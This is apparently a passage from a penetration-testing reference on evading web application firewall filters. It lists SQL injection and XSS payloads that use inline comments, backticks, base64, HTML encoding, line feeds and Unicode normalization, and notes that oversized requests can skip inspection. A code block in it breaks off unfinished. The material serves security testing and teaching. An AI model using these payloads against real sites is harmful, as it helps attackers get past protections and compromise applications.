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Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks,
and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads)
and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<asrc="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)">#Using Line Feed (LF) line breaks
<BODYonload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), characters that share Unicode
compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found [here](https://www.compart.com/en/unicode)
### Example
```bash
# under the NFKD normalization algorithm, the characters on the left translate
It's common in cloud based WAFs that if the payload is bigger than X size, the request won't be checked by the WAF. You can simply use that to bypass them.
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